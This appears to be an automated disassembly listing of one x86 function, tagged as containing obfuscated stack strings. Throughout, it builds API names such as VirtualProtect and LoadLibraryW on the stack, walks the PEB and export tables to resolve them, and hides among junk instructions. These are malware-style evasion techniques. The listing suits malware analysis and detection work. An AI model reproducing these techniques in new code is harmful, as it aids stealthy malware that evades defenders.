Function at 0x1c9ff2b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 4
add edx, 0xac06
and edx, 0x18498
jmp 0x1c9e689
pop edx
push esi
jmp 0x1c9e693
pop esi
jmp 0x1c9e8c7
push ebx
push esi
add esp, 4
sub ebx, 0x6b80
pop ebx
push esi
add esi, 0xe3ef
sub esi, 0xc8f5
xor esi, 0x173ee
xor esi, 0xd966
pop esi
push esi
push edx
add esp, 4
or esi, 0x6a31
pop esi
mov dword [ebp - 0xbfc], 0
push edi
xor edi, 0x17e84
jmp 0x1c9e911
pop edi
push ebx
push ecx
add esp, 4
jmp 0x1c9e91d
call 0x1c9e92b
add byte [ebx + 0x46], al
aaa
xor eax, 0x83334638
les eax, [ecx + eax*4]
xchg edx, eax
stosb byte es:[edi], al
add byte [eax], al
pop ebx
mov byte [ebp - 0x9c0], 0x45
mov byte [ebp - 0x9bf], pe_nt_image_headers32
mov byte [ebp - 0x9be], 0x69
mov byte [ebp - 0x9bd], 0x74
mov byte [ebp - 0x9bc], 0x50
mov byte [ebp - 0x9bb], 0x72
mov byte [ebp - 0x9ba], 0x6f
mov byte [ebp - 0x9b9], 0x63
mov byte [ebp - 0x9b8], 0x65
mov byte [ebp - 0x9b7], 0x73
mov byte [ebp - 0x9b6], 0x73
mov byte [ebp - 0x9b5], 0
push ecx
xor ecx, 0xa845
or ecx, 0xbdb2
or ecx, 0x13f90
pop ecx
push ecx
sub ecx, 0x2d80
pop ecx
push ebx
jmp 0x1c9e9ae
pop ebx
push edx
push ebx
add esp, 4
or edx, 0x9a38
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1a68], cx
mov edx, 0x65
mov word [ebp - 0x1a66], dx
mov eax, 0x72
mov word [ebp - 0x1a64], ax
mov ecx, 0x6e
mov word [ebp - 0x1a62], cx
mov edx, 0x65
mov word [ebp - 0x1a60], dx
mov eax, 0x6c
mov word [ebp - 0x1a5e], ax
mov ecx, 0x33
mov word [ebp - 0x1a5c], cx
mov edx, 0x32
mov word [ebp - 0x1a5a], dx
mov eax, 0x2e
mov word [ebp - 0x1a58], ax
mov ecx, 0x64
mov word [ebp - 0x1a56], cx
mov edx, 0x6c
mov word [ebp - 0x1a54], dx
mov eax, 0x6c
mov word [ebp - 0x1a52], ax
xor ecx, ecx
mov word [ebp - 0x1a50], cx
push eax
xor eax, 0x1647e
and eax, 0x1160d
pop eax
push edi
push esi
add esp, 4
sub edi, 0xe4ac
and edi, 0x11637
xor edi, 0xda62
pop edi
push eax
push ecx
add esp, 4
and eax, 0xb6e0
pop eax
push esi
push esi
add esp, 4
sub esi, 0x323e
or esi, 0x8c5f
pop esi
push esi
sub esi, 0x7f14
call 0x1c9eaae
add byte [edi], bh
dec eax
xor al, 0x33
cmp al, 0x4f
cmp al, 0x4d
add esp, 4
and esi, 0x1119a
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x2688], edx
mov eax, dword [ebp - 0x2688]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x268c], ecx
mov edx, dword [ebp - 0x268c]
mov dword [ebp - 0x18ec], edx
push ecx
add ecx, 0x1908
sub ecx, 0x13ff0
or ecx, 0x2209
pop ecx
push edx
xor edx, 0xeb3e
or edx, 0xb0df
call 0x1c9eb0e
add byte [edi], bh
dec ecx
dec edx
cmp byte [esi + 0x4f], al
dec edi
add esp, 4
pop edx
cmp dword [ebp - 0x18ec], 0
jne 0x1c9eb2a
mov dword [ebp - 0x398], 0
jmp 0x1c9ede6
mov eax, dword [ebp - 0x18ec]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xe98], edx
push ebx
jmp 0x1c9eb42
pop ebx
push eax
call 0x1c9eb53
add byte [0x4736444a], dh
dec esp
cmp eax, 0xc4834e4a
add al, 0xe8
or dword [eax], eax
add byte [eax], al
add byte [ecx*2 + 0x4246364b], bh
dec ebx
inc esi
add esp, 4
sub eax, 0xdee7
pop eax
cmp dword [ebp - 0xe98], 0
jne 0x1c9eb86
mov dword [ebp - 0x398], 0
jmp 0x1c9ede6
mov eax, dword [ebp - 0xe98]
mov dword [ebp - 0x5c4], eax
push edx
call 0x1c9eba2
add byte [edi + 0x41], cl
dec esp
dec esp
inc edi
dec ebp
inc ebp
xor edi, dword [esi]
add esp, 4
xor edx, 0x10df1
or edx, 0x1938
pop edx
push esi
push ebx
add esp, 4
sub esi, 0x24d
xor esi, 0x5bd3
pop esi
lea ecx, [ebp - 0x1a68]
mov dword [ebp - 0xe94], ecx
mov edx, dword [ebp - 0x5c4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xe90], eax
xor ecx, ecx
mov word [ebp - 0x264], cx
xor edx, edx
mov word [ebp - 0x138], dx
push ebx
jmp 0x1c9ebf8
or ebx, 0xa283
pop ebx
push ebx
or ebx, 0x12e48
pop ebx
push ecx
jmp 0x1c9ec0e
add ecx, 0x1313f
pop ecx
push ebx
or ebx, 0xfc50
or ebx, 0x17b80
pop ebx
mov eax, dword [ebp - 0xe90]
mov cx, word [eax]
mov word [ebp - 0x12ae], cx
mov edx, dword [ebp - 0xe90]
add edx, 2
mov dword [ebp - 0xe90], edx
mov ax, word [ebp - 0x12ae]
mov word [ebp - 0x264], ax
mov ecx, dword [ebp - 0xe94]
mov dx, word [ecx]
mov word [ebp - 0x12b0], dx
mov eax, dword [ebp - 0xe94]
add eax, 2
mov dword [ebp - 0xe94], eax
mov cx, word [ebp - 0x12b0]
mov word [ebp - 0x138], cx
push edi
xor edi, 0x38c8
add edi, 0x7647
or edi, 0x76b6
pop edi
push eax
push esi
add esp, 4
call 0x1c9eca3
add byte [0x37403934], bh
inc ebp
cmp eax, 0x5804c483
push esi
sub esi, 0x33a3
pop esi
movzx edx, word [ebp - 0x138]
test edx, edx
jne 0x1c9ecd2
movzx eax, word [ebp - 0x264]
movzx ecx, word [ebp - 0x138]
sub eax, ecx
mov dword [ebp - 0x18f4], eax
jmp 0x1c9ed35
movzx edx, word [ebp - 0x264]
movzx eax, word [ebp - 0x138]
cmp edx, eax
je 0x1c9ebf1
movzx ecx, word [ebp - 0x264]
xor ecx, 0x20
movzx edx, word [ebp - 0x138]
cmp ecx, edx
je 0x1c9ebf1
movzx eax, word [ebp - 0x264]
movzx ecx, word [ebp - 0x138]
cmp eax, ecx
jge 0x1c9ed1f
mov dword [ebp - 0x18f0], 0xffffffff
jmp 0x1c9ed29
mov dword [ebp - 0x18f0], 1
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
cmp dword [ebp - 0x18f4], 0
jne 0x1c9ed7e
push edx
push ecx
add esp, 4
jmp 0x1c9ed4b
pop edx
push edi
and edi, 0x4ced
call 0x1c9ed60
add byte [esi + ecx*2 + 0x3f], al
dec ebx
cmp al, 0x32
aas
add esp, 4
pop edi
push edx
push eax
add esp, 4
sub edx, 0x497c
pop edx
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x398], eax
jmp 0x1c9ede6
push eax
add eax, 0x4db
and eax, 0x10bec
call 0x1c9ed9a
add byte [esi], bh
cmp dword [esi], esi
inc edx
inc ecx
inc edx
dec edx
inc eax
aaa
add esp, 4
or eax, 0x17896
pop eax
push ecx
push ecx
add esp, 4
and ecx, 0x16039
pop ecx
mov ecx, dword [ebp - 0x5c4]
mov edx, dword [ecx]
mov dword [ebp - 0x5c4], edx
mov eax, dword [ebp - 0x5c4]
cmp eax, dword [ebp - 0xe98]
je 0x1c9eddc
mov ecx, dword [ebp - 0x5c4]
cmp dword [ecx + 0x30], 0
jne 0x1c9eb92
mov dword [ebp - 0x398], 0
push eax
or eax, 0x16723
call 0x1c9edfa
add byte [edi + 0x4d], al
dec ebx
cmp al, 0x33
dec ecx
inc ebx
add esp, 4
add eax, 0x695e
pop eax
push edx
call 0x1c9ee14
add byte [edx + 0x40], cl
dec esp
xor eax, 0x354e4d35
aas
add esp, 4
pop edx
cmp dword [ebp - 0x398], 0
jne 0x1c9f731
mov edx, 0x6b
mov word [ebp - 0x1ac8], dx
mov eax, 0x65
mov word [ebp - 0x1ac6], ax
mov ecx, 0x72
mov word [ebp - 0x1ac4], cx
mov edx, 0x6e
mov word [ebp - 0x1ac2], dx
mov eax, 0x65
mov word [ebp - 0x1ac0], ax
mov ecx, 0x6c
mov word [ebp - 0x1abe], cx
mov edx, 0x33
mov word [ebp - 0x1abc], dx
mov eax, 0x32
mov word [ebp - 0x1aba], ax
mov ecx, 0x2e
mov word [ebp - 0x1ab8], cx
mov edx, 0x64
mov word [ebp - 0x1ab6], dx
mov eax, 0x6c
mov word [ebp - 0x1ab4], ax
mov ecx, 0x6c
mov word [ebp - 0x1ab2], cx
xor edx, edx
mov word [ebp - 0x1ab0], dx
push ebx
call 0x1c9eecf
add byte [ebx], dh
cmp eax, 0x3e3e4e36
dec ebx
inc ebx
cmp al, 0x83
les eax, [ecx + eax*4]
jmp 0x1c9ee6b
invalid
push edx
push edi
add esp, 4
jmp 0x1c9f73f
xor edx, 0x16714
add dword [eax], eax
pop edx
push ebx
call 0x1c9f753
add byte [edx], bh
cmp cl, byte [eax + ecx*2 + 0x46]
cmp eax, dword [ebx + 0x515b04c4]
push eax
add esp, 4
or ecx, 0xf33a
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x26b0], eax
mov ecx, dword [ebp - 0x26b0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x26d0], edx
mov eax, dword [ebp - 0x26d0]
mov dword [ebp - 0x1910], eax
push edi
sub edi, 0x3826
call 0x1c9f7a0
add byte [eax + ecx*2 + 0x43], cl
dec edi
cmp bh, byte [edx]
dec esi
aaa
dec edi
add esp, 4
call 0x1c9f7b2
add byte [eax + 0x41], dl
dec ecx
inc edi
cmp al, 0x33
inc ebp
inc eax
cmp byte [ebx - 0x387efb3c], al
js 0x1c9f743
add byte [eax], al
pop edi
cmp dword [ebp - 0x1910], 0
jne 0x1c9f7d4
mov dword [ebp - 0x398], 0
jmp 0x1c9fa90
mov ecx, dword [ebp - 0x1910]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xeb4], eax
push ebx
push eax
add esp, 4
add ebx, 0xa47e
xor ebx, 0x2e02
xor ebx, 0xe158
pop ebx
push eax
sub eax, 0x8fe7
pop eax
push ebx
push edx
add esp, 4
add ebx, 0x12b4d
sub ebx, 0x9d15
pop ebx
cmp dword [ebp - 0xeb4], 0
jne 0x1c9f830
mov dword [ebp - 0x398], 0
jmp 0x1c9fa90
mov ecx, dword [ebp - 0xeb4]
mov dword [ebp - 0x5cc], ecx
push esi
and esi, 0x7a2
pop esi
push ecx
push ebx
add esp, 4
or ecx, 0x15f46
xor ecx, 0xdac5
and ecx, 0x11427
call 0x1c9f86a
add byte [ebx + 0x34], al
inc eax
xor ecx, dword [ecx + 0x36]
aaa
dec ebp
inc esp
add esp, 4
pop ecx
lea edx, [ebp - 0x1a68]
mov dword [ebp - 0xeb0], edx
mov eax, dword [ebp - 0x5cc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xeac], ecx
xor edx, edx
mov word [ebp - 0x26c], dx
xor eax, eax
mov word [ebp - 0x140], ax
push esi
and esi, 0x32e
call 0x1c9f8af
add byte [eax], bh
cmp dword [edi + 0x45], eax
dec esp
inc edi
aaa
add esp, 4
or esi, 0x17926
sub esi, 0x639d
pop esi
push eax
or eax, 0x14233
add eax, 0xa72d
pop eax
mov ecx, dword [ebp - 0xeac]
mov dx, word [ecx]
mov word [ebp - 0x12b6], dx
mov eax, dword [ebp - 0xeac]
add eax, 2
mov dword [ebp - 0xeac], eax
mov cx, word [ebp - 0x12b6]
mov word [ebp - 0x26c], cx
mov edx, dword [ebp - 0xeb0]
mov ax, word [edx]
mov word [ebp - 0x12b8], ax
mov ecx, dword [ebp - 0xeb0]
add ecx, 2
mov dword [ebp - 0xeb0], ecx
mov dx, word [ebp - 0x12b8]
mov word [ebp - 0x140], dx
push ecx
push ecx
add esp, 4
add ecx, 0xf0fe
xor ecx, 0x637f
add ecx, 0x13841
pop ecx
push edi
add edi, 0xb69b
and edi, 0x14fa
xor edi, 0x710e
add edi, 0x9bde
pop edi
movzx eax, word [ebp - 0x140]
test eax, eax
jne 0x1c9f97c
movzx ecx, word [ebp - 0x26c]
movzx edx, word [ebp - 0x140]
sub ecx, edx
mov dword [ebp - 0x1918], ecx
jmp 0x1c9f9df
movzx eax, word [ebp - 0x26c]
movzx ecx, word [ebp - 0x140]
cmp eax, ecx
je 0x1c9f89b
movzx edx, word [ebp - 0x26c]
xor edx, 0x20
movzx eax, word [ebp - 0x140]
cmp edx, eax
je 0x1c9f89b
movzx ecx, word [ebp - 0x26c]
movzx edx, word [ebp - 0x140]
cmp ecx, edx
jge 0x1c9f9c9
mov dword [ebp - 0x1914], 0xffffffff
jmp 0x1c9f9d3
mov dword [ebp - 0x1914], 1
mov eax, dword [ebp - 0x1914]
mov dword [ebp - 0x1918], eax
cmp dword [ebp - 0x1918], 0
jne 0x1c9fa28
push edi
push edi
add esp, 4
sub edi, 0x134d5
and edi, 0xae40
xor edi, 0x3cdd
pop edi
push ecx
add ecx, 0x14206
add ecx, 0xe75a
and ecx, 0x18ba
and ecx, 0x12029
pop ecx
mov ecx, dword [ebp - 0x5cc]
mov dword [ebp - 0x398], ecx
jmp 0x1c9fa90
push ebx
push edx
add esp, 4
or ebx, 0x13d26
and ebx, 0x6dac
pop ebx
push eax
push esi
add esp, 4
xor eax, 0x13ecd
xor eax, 0x183fe
jmp 0x1c9fa53
sub eax, 0xbfc8
pop eax
mov edx, dword [ebp - 0x5cc]
mov eax, dword [edx]
mov dword [ebp - 0x5cc], eax
mov ecx, dword [ebp - 0x5cc]
cmp ecx, dword [ebp - 0xeb4]
je 0x1c9fa86
mov edx, dword [ebp - 0x5cc]
cmp dword [edx + 0x30], 0
jne 0x1c9f83c
mov dword [ebp - 0x398], 0
push esi
add esi, 0x1a18
or esi, 0x70c5
and esi, 0x2150
pop esi
push edi
push esi
add esp, 4
and edi, 0x36ea
add edi, 0x18371
pop edi
push eax
push ebx
add esp, 4
add eax, 0x15633
pop eax
mov eax, dword [ebp - 0x398]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x3ac], ecx
push edi
push eax
add esp, 4
sub edi, 0x15055
sub edi, 0x181b1
pop edi
push edx
xor edx, 0x5b43
xor edx, 0x978b
pop edx
push esi
push edi
add esp, 4
and esi, 0x668c
and esi, 0x343c
pop esi
mov dword [ebp - 0x890], 0
mov edx, dword [ebp - 0x3ac]
mov dword [ebp - 0x191c], edx
cmp dword [ebp - 0x191c], 0
jne 0x1c9fb33
mov eax, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], eax
jmp 0x1c9fe24
mov ecx, dword [ebp - 0x191c]
mov edx, dword [ebp - 0x3ac]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1920], edx
jne 0x1c9fb5b
mov eax, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], eax
jmp 0x1c9fe24
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1920]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1924], ecx
cmp dword [ebp - 0x1924], 0
jne 0x1c9fb8d
mov edx, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], edx
jmp 0x1c9fe24
mov eax, dword [ebp - 0x3ac]
add eax, dword [ebp - 0x1924]
mov dword [ebp - 0x884], eax
jne 0x1c9fbb2
mov ecx, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], ecx
jmp 0x1c9fe24
mov edx, dword [ebp - 0x884]
mov eax, dword [ebp - 0x3ac]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x26d4], eax
mov ecx, dword [ebp - 0x884]
mov edx, dword [ebp - 0x3ac]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x26d8], edx
mov eax, dword [ebp - 0x884]
mov ecx, dword [ebp - 0x3ac]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1f3c], ecx
mov dword [ebp - 0x888], 0
jmp 0x1c9fc0c
mov edx, dword [ebp - 0x888]
add edx, 1
mov dword [ebp - 0x888], edx
mov eax, dword [ebp - 0x884]
mov ecx, dword [ebp - 0x888]
cmp ecx, dword [eax + 0x18]
jae 0x1c9fe18
mov edx, dword [ebp - 0x888]
mov eax, dword [ebp - 0x26d4]
mov ecx, dword [ebp - 0x3ac]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x88c], ecx
mov edx, dword [ebp - 0x888]
mov eax, dword [ebp - 0x26d8]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1f3c]
mov eax, dword [ebp - 0x3ac]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1f40], eax
mov dword [ebp - 0x1dc], 0
jmp 0x1c9fc7c
mov ecx, dword [ebp - 0x1dc]
add ecx, 1
mov dword [ebp - 0x1dc], ecx
mov edx, dword [ebp - 0x88c]
add edx, dword [ebp - 0x1dc]
movsx eax, byte [edx]
test eax, eax
je 0x1c9fd2e
mov ecx, dword [ebp - 0x1dc]
movsx edx, byte [ebp + ecx - 0x9c0]
test edx, edx
je 0x1c9fd2e
push edi
push esi
add esp, 4
xor edi, 0x1925
xor edi, 0x45d9
sub edi, 0x16479
or edi, 0xf849
pop edi
push ebx
add ebx, 0x18150
pop ebx
push edi
push eax
add esp, 4
xor edi, 0x8b6
pop edi
mov eax, dword [ebp - 0x88c]
add eax, dword [ebp - 0x1dc]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1dc]
movsx eax, byte [ebp + edx - 0x9c0]
cmp ecx, eax
je 0x1c9fd20
mov ecx, dword [ebp - 0x88c]
add ecx, dword [ebp - 0x1dc]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x1dc]
movsx ecx, byte [ebp + eax - 0x9c0]
cmp edx, ecx
jne 0x1c9fd27
jmp 0x1c9fc6d
jmp 0x1c9fd2e
push eax
push edx
add esp, 4
add eax, 0x163c8
jmp 0x1c9fd40
call 0x1c9fd4e
add byte [eax + 0x49], al
inc ecx
xor ecx, dword [esp + esi + 0x4e]
add esp, 4
or eax, 0xb4a5
pop eax
push edi
sub edi, 0x30e8
pop edi
mov edx, dword [ebp - 0x88c]
add edx, dword [ebp - 0x1dc]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1dc]
movsx edx, byte [ebp + ecx - 0x9c0]
cmp eax, edx
jne 0x1c9fd8d
mov dword [ebp - 0xeb8], 0
jmp 0x1c9fdfc
push ecx
push esi
add esp, 4
xor ecx, 0x12409
call 0x1c9fda4
add byte [ebx], dh
cmp dword [edi + edi + 0x35], ecx
cmp eax, 0xe804c483
or dword [eax], eax
add byte [eax], al
add byte [ecx + 0x46], al
inc ecx
aas
inc eax
inc ecx
cmp bh, byte [esi]
add esp, 4
sub ecx, 0x15162
pop ecx
mov eax, dword [ebp - 0x88c]
add eax, dword [ebp - 0x1dc]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x1dc]
movsx eax, byte [ebp + edx - 0x9c0]
or eax, 0x20
cmp ecx, eax
jge 0x1c9fdf2
mov dword [ebp - 0xeb8], 0xffffffff
jmp 0x1c9fdfc
mov dword [ebp - 0xeb8], 1
cmp dword [ebp - 0xeb8], 0
jne 0x1c9fe13
mov ecx, dword [ebp - 0x1f40]
mov dword [ebp - 0x5d0], ecx
jmp 0x1c9fe24
jmp 0x1c9fbfd
mov edx, dword [ebp - 0x890]
mov dword [ebp - 0x5d0], edx
mov eax, dword [ebp - 0x5d0]
mov dword [ebp - 0x8bc], eax
push ecx
sub ecx, 0xffb9
jmp 0x1c9fe3e
pop ecx
push edi
jmp 0x1c9fe49
pop edi
push eax
push edi
add esp, 4
add eax, 0x9fc7
jmp 0x1c9fe5b
and eax, 0x11e4e
pop eax
mov ecx, dword [ebp - 0x494]
add ecx, 0xe
mov dword [ebp - 0x1f8c], ecx
push eax
push edx
add esp, 4
jmp 0x1c9fe7b
pop eax
push ecx
push ecx
add esp, 4
sub ecx, 0xaf19
pop ecx
push eax
or eax, 0xc5dc
jmp 0x1c9fe94
sub eax, 0x11231
pop eax
push edx
or edx, 0x173ed
pop edx
cmp dword [ebp - 0x494], 0
je 0x1c9feb5
cmp dword [ebp - 0xbfc], 0
jne 0x1c9fefb
push ebx
jmp 0x1c9febe
jmp 0x1c9fec3
xor ebx, 0xbe8a
pop ebx
push ebx
jmp 0x1c9fed4
and ebx, 0x12533
add ebx, 0xba06
add ebx, 0x5d94
pop ebx
mov edx, dword [ebp - 0x8bc]
mov dword [ebp - 0x1f44], edx
push 0
call dword [ebp - 0x1f44]
mov dword [ebp - 0x2780], 0xa
push eax
call 0x1c9ff16
add byte [ebp + eax*2 + 0x37], cl
inc esp
dec ebx
inc esp
inc edx
dec edi
xor al, 0x83
les eax, [eax + ebx*2]
push eax
call 0x1c9ff2b
add byte [edi + eax*2], dh
inc edi
inc edx
inc ecx
inc ebp
inc eax
inc esi
cmp byte [edi], bh
add esp, 4
pop eax
push edx
sub edx, 0x968d
pop edx
mov eax, dword [ebp - 0x494]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x446], cl
mov edx, dword [ebp - 0xbfc]
sub edx, dword [ebp - 0x494]
mov dword [ebp - 0x19a8], edx
mov dword [ebp - 0xee8], 0
push ecx
push esi
add esp, 4
or ecx, 0x2df9
pop ecx
push esi
push ecx
add esp, 4
jmp 0x1c9ff78
jmp 0x1c9ff7f
pop esi
push ebx
add ebx, 0x1370b
sub ebx, 0x15939
or ebx, 0x4c86
pop ebx
mov byte [ebp - 0xb5c], 0x56
mov byte [ebp - 0xb5b], 0x69
mov byte [ebp - 0xb5a], 0x72
mov byte [ebp - 0xb59], 0x74
mov byte [ebp - 0xb58], 0x75
mov byte [ebp - 0xb57], 0x61
mov byte [ebp - 0xb56], 0x6c
mov byte [ebp - 0xb55], 0x50
mov byte [ebp - 0xb54], 0x72
mov byte [ebp - 0xb53], 0x6f
mov byte [ebp - 0xb52], 0x74
mov byte [ebp - 0xb51], 0x65
mov byte [ebp - 0xb50], 0x63
mov byte [ebp - 0xb4f], 0x74
mov byte [ebp - 0xb4e], 0
push edx
push ecx
add esp, 4
or edx, 0x10f64
jmp 0x1ca0010
sub edx, 0x1824e
and edx, 0x11906
pop edx
push ecx
push ebx
add esp, 4
and ecx, 0x12504
jmp 0x1ca002e
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1f48], eax
mov ecx, dword [ebp - 0x1f48]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1f4c], edx
mov eax, dword [ebp - 0x1f4c]
mov dword [ebp - 0x1928], eax
push ebx
push ebx
add esp, 4
sub ebx, 0x14940
and ebx, 0x275f
and ebx, 0x66b0
and ebx, 0x9451
pop ebx
push esi
call 0x1ca0084
add byte [edi + 0x41], cl
cmp eax, 0x32454a32
inc ecx
cmp byte [ebx - 0x7ca1fb3c], al
mov ebp, 0xffffe6d8
add byte [ebp + 0xf], dh
mov dword [ebp - 0x394], 0
jmp 0x1ca0347
push eax
push eax
add esp, 4
call 0x1ca0358
add byte [ebp + 0x3a], cl
dec edi
inc esi
inc edi
add esp, 4
pop eax
push ecx
push edi
add esp, 4
call 0x1ca036d
add byte [ebp + 0x3f], al
cmp byte [eax + 0x41], dl
inc eax
add esp, 4
pop ecx
push esi
xor esi, 0x152d4
pop esi
cmp dword [ebp - 0x394], 0
jne 0x1ca0c7e
mov eax, 0x6b
mov word [ebp - 0x1ae4], ax
mov ecx, 0x65
mov word [ebp - 0x1ae2], cx
mov edx, 0x72
mov word [ebp - 0x1ae0], dx
mov eax, 0x6e
mov word [ebp - 0x1ade], ax
mov ecx, 0x65
mov word [ebp - 0x1adc], cx
mov edx, 0x6c
mov word [ebp - 0x1ada], dx
mov eax, 0x33
mov word [ebp - 0x1ad8], ax
mov ecx, 0x32
mov word [ebp - 0x1ad6], cx
mov edx, 0x2e
mov word [ebp - 0x1ad4], dx
mov eax, 0x64
mov word [ebp - 0x1ad2], ax
mov ecx, 0x6c
mov word [ebp - 0x1ad0], cx
mov edx, 0x6c
mov word [ebp - 0x1ace], dx
xor eax, eax
mov word [ebp - 0x1acc], ax
push esi
call 0x1ca0430
add byte [eax + 0x4d], dl
inc eax
xor eax, 0x3b4e3744
dec ebp
cmp al, byte [ebx - 0x117efb3c]
imul byte [esi + 1]
add al, ch
or dword [eax], eax
add byte [eax], al
add byte [0x4038354d], dh
inc eax
inc ecx
dec ebp
add esp, 4
and esi, 0x37c
pop esi
mov byte [ebp - 0xafc], 0x4c
mov byte [ebp - 0xafb], 0x6f
mov byte [ebp - 0xafa], 0x61
mov byte [ebp - 0xaf9], 0x64
mov byte [ebp - 0xaf8], 0x4c
mov byte [ebp - 0xaf7], 0x69
mov byte [ebp - 0xaf6], 0x62
mov byte [ebp - 0xaf5], 0x72
mov byte [ebp - 0xaf4], 0x61
mov byte [ebp - 0xaf3], 0x72
mov byte [ebp - 0xaf2], 0x79
mov byte [ebp - 0xaf1], 0x57
mov byte [ebp - 0xaf0], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1f50], ecx
mov edx, dword [ebp - 0x1f50]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1f54], eax
mov ecx, dword [ebp - 0x1f54]
mov dword [ebp - 0x1934], ecx
push ecx
or ecx, 0xc922
pop ecx
push ebx
push ebx
add esp, 4
add ebx, 0x16116
pop ebx
push eax
push ecx
add esp, 4
and eax, 0xc322
xor eax, 0x15e90
add eax, 0x5a97
add eax, 0x105ab
pop eax
cmp dword [ebp - 0x1934], 0
jne 0x1ca051e
mov dword [ebp - 0x894], 0
jmp 0x1ca07c5
mov edx, dword [ebp - 0x1934]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xed0], ecx
push edx
add edx, 0xb5a2
sub edx, 0x185d6
or edx, 0xc81c
xor edx, 0x9b3a
pop edx
push eax
and eax, 0x131f7
and eax, 0xea27
pop eax
push edx
jmp 0x1ca0561
pop edx
cmp dword [ebp - 0xed0], 0
jne 0x1ca057a
mov dword [ebp - 0x894], 0
jmp 0x1ca07c5
mov edx, dword [ebp - 0xed0]
mov dword [ebp - 0x5d8], edx
push eax
push edx
add esp, 4
call 0x1ca059a
add byte [edx + 0x46], cl
cmp byte ss:[ebx], bh
cmp dl, byte [eax + 0x46]
inc eax
add esp, 4
or eax, 0x120f0
pop eax
push esi
and esi, 0x17327
xor esi, 0xaef
and esi, 0x18419
pop esi
lea eax, [ebp - 0x1ae4]
mov dword [ebp - 0xecc], eax
mov ecx, dword [ebp - 0x5d8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xec8], edx
xor eax, eax
mov word [ebp - 0x274], ax
xor ecx, ecx
mov word [ebp - 0x44], cx
push ecx
xor ecx, 0x12e92
sub ecx, 0xd2a4
and ecx, 0x64ec
pop ecx
push eax
push ebx
add esp, 4
xor eax, 0x13682
sub eax, 0x69fb
sub eax, 0x1736
sub eax, 0x11dad
pop eax
mov edx, dword [ebp - 0xec8]
mov ax, word [edx]
mov word [ebp - 0x12be], ax
mov ecx, dword [ebp - 0xec8]
add ecx, 2
mov dword [ebp - 0xec8], ecx
mov dx, word [ebp - 0x12be]
mov word [ebp - 0x274], dx
mov eax, dword [ebp - 0xecc]
mov cx, word [eax]
mov word [ebp - 0x12c0], cx
mov edx, dword [ebp - 0xecc]
add edx, 2
mov dword [ebp - 0xecc], edx
mov ax, word [ebp - 0x12c0]
mov word [ebp - 0x44], ax
push esi
jmp 0x1ca0672
or esi, 0x161e1
or esi, 0x78cd
pop esi
push edi
push edx
add esp, 4
and edi, 0x121db
sub edi, 0xae74
sub edi, 0x15e14
and edi, 0x1579
pop edi
movzx ecx, word [ebp - 0x44]
test ecx, ecx
jne 0x1ca06ba
movzx edx, word [ebp - 0x274]
movzx eax, word [ebp - 0x44]
sub edx, eax
mov dword [ebp - 0x193c], edx
jmp 0x1ca0714
movzx ecx, word [ebp - 0x274]
movzx edx, word [ebp - 0x44]
cmp ecx, edx
je 0x1ca05e2
movzx eax, word [ebp - 0x274]
xor eax, 0x20
movzx ecx, word [ebp - 0x44]
cmp eax, ecx
je 0x1ca05e2
movzx edx, word [ebp - 0x274]
movzx eax, word [ebp - 0x44]
cmp edx, eax
jge 0x1ca06fe
mov dword [ebp - 0x1938], 0xffffffff
jmp 0x1ca0708
mov dword [ebp - 0x1938], 1
mov ecx, dword [ebp - 0x1938]
mov dword [ebp - 0x193c], ecx
cmp dword [ebp - 0x193c], 0
jne 0x1ca075d
push eax
push edx
add esp, 4
call 0x1ca072e
add byte [ecx], bh
dec ebp
cmp eax, 0xc4833b39
add al, 0xe8
or dword [eax], eax
add byte [eax], al
add byte [eax + 0x4a], cl
aaa
inc ebx
xor eax, 0x834d343e
les eax, [eax + ebx*2]
push esi
push edx
add esp, 4
and esi, 0xbb7a
pop esi
mov edx, dword [ebp - 0x5d8]
mov dword [ebp - 0x894], edx
jmp 0x1ca07c5
push ecx
push ebx
add esp, 4
xor ecx, 0x10320
pop ecx
push ecx
push ebx
add esp, 4
jmp 0x1ca0774
pop ecx
push edx
xor edx, 0x11772
add edx, 0xe4e6
xor edx, 0x1368
add edx, 0xbf16
pop edx
mov eax, dword [ebp - 0x5d8]
mov ecx, dword [eax]
mov dword [ebp - 0x5d8], ecx
mov edx, dword [ebp - 0x5d8]
cmp edx, dword [ebp - 0xed0]
je 0x1ca07bb
mov eax, dword [ebp - 0x5d8]
cmp dword [eax + 0x30], 0
jne 0x1ca0586
mov dword [ebp - 0x894], 0
push ecx
push eax
add esp, 4
